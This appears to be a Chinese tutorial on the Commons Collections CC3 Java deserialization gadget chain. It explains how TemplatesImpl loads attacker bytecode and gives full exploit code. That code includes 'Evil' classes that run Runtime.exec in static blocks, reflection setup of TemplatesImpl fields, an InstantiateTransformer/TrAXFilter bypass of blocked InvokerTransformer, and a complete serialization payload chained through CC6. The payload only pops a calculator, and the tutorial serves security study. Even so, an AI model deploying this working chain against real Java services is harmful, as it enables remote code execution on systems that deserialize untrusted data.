Java反序列化(4)—— CC链3
CC3
和前面的链调用Runtime.exec()执行命令不同,这条链用的是defineClass加载一个恶意类,并将其初始化来达到一种代码执行的效果。
代码执行
首先看下它是如何实现代码执行的。
最后调用的ClassLoader.defineClass的形式如下

顺着往上找,找到TemplatesImpl这个类,这个类中完成了整个调用,流程大致如下

恶意代码执行的逻辑在getTransletInstance中,这里面先调用了defineTransletClasses加载类,然后将这个类实例化。所以,我们可以把恶意代码放在类的静态代码块/构造方法中去执行。

然后看实现这条链要什么条件。TemplatesImpl的构造方法中什么都没有,所以我们要用反射一个一个修改它的属性,来让这个流程走通。
首先必须满足的两个属性
_name:不为null_tfactory:是一个TransformerFactoryImpl对象


再来看看实例化这个类是怎么被实例化的。
_bytecodes是一个二维的byte数组,defineTransletClasses会将这些类依次加载,然后放到_class数组中

然后在getTransletInstance()中实例化_class数组中下标为_transletIndex的类

_transletIndex的初始值为-1,同时defineTransletClasses中如果加载的类的父类是ABSTRACT_TRANSLET会将其变为这个类对应的下标。

这里要实例化我们加载的Evil类有两个方法:
- 让Evil类继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet - 修改
_transletIndex值来对应我们Evil类的下标
方法一
写一个Evil类如下
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
Runtime r = Runtime.getRuntime();
try {
r.exec("open -a Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
// AbstractTranslet是一个抽象类,所以要实现其中的两个抽象方法
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
编译为.class文件用于后面的加载
利用的代码如下:
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
// 反射修改必要的属性
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "skky");
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil2.class")); // Evil bytecode
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);
templates.newTransformer();
}
}
方法二
Evil类不用继承AbstractTranslet,再额外准备一个空类
import java.io.IOException;
public class Evil2 {
static {
Runtime r = Runtime.getRuntime();
try {
r.exec("open -a Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public class Kong {
}
利用时修改_transletIndex的值为1
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
// 反射修改必要的属性
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "skky");
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode1 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Kong.class")); // Evil bytecode
byte[] bytecode2 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil2.class")); // Evil bytecode
byte[][] bytecodes = {bytecode1, bytecode2};
bytecodesField.set(templates, bytecodes);
//_transletIndex
Field transletIndexField = c.getDeclaredField("_transletIndex");
transletIndexField.setAccessible(true);
transletIndexField.set(templates, 1);
templates.newTransformer();
}
}
不出意外应该可以弹出计算器了

比较有意思的是,这里我们又得到了一个public的可序列化类。那么也就可以用InvokerTransformer来调用,再把它拼到ChainedTransformer里,又可以来用前面的链来走通
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(
"newTransformer",
null,
null
)
});
chainedTransformer.transform(1);
InvokerTransformer被禁用
下面来找TemplatesImpl.newTransformer()被调用的地方,在TrAXFilter的构造函数中

利用很简单,实例化它就行,注意到TrAXFilter是一个不可序列化的类。
TrAXFilter trAXFilter = new TrAXFilter(templates);
其实前面的TemplatesImpl, TrAXFilter都还是sun包中的,我们的CC库在这最后一步被利用——InstantiateTransformer.transform

好巧不巧,这里用反射实例化了一个类。按照参数说明我们来测试一下
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
);
instantiateTransformer.transform(TrAXFilter.class);
这时你就会惊奇地发现,我们又找到了一个O.transform()的利用形式。而这个过程没有用到InvokerTransformer
把它拼到ChainedTransformer,用我们之前任意一条链都可以完成这个构造

这里我拼到CC6,完整代码如下
package CC3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
// 反射修改必要的属性
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "skky");
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// byte[] bytecode1 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Kong.class")); // Evil bytecode
// byte[] bytecode2 = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil2.class")); // Evil bytecode
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/ea5ter/Documents/CTF/code/javaWeb/CC1/src/main/java/CC3/Evil.class")); // Evil bytecode
// byte[][] bytecodes = {bytecode1, bytecode2};
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);
//_transletIndex
Field transletIndexField = c.getDeclaredField("_transletIndex");
transletIndexField.setAccessible(true);
transletIndexField.set(templates, 1);
// templates.newTransformer();
// TrAXFilter trAXFilter = new TrAXFilter(templates);
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
// new Class[]{Templates.class},
// new Object[]{templates}
// );
// instantiateTransformer.transform(TrAXFilter.class);
Class rc = TrAXFilter.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(rc),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
});
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<>(), null); // 用一个空的HashMap初始化
// tiedMapEntry.hashCode();
HashMap<Object, Object> hMap = new HashMap<>();
hMap.put(tiedMapEntry, null);
// 反射修改tiedMapEntry
Class tc =tiedMapEntry.getClass();
Field mapField = tc.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(tiedMapEntry, lazyMap);
// serialize(hMap);
unserialize("ser.bin");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
}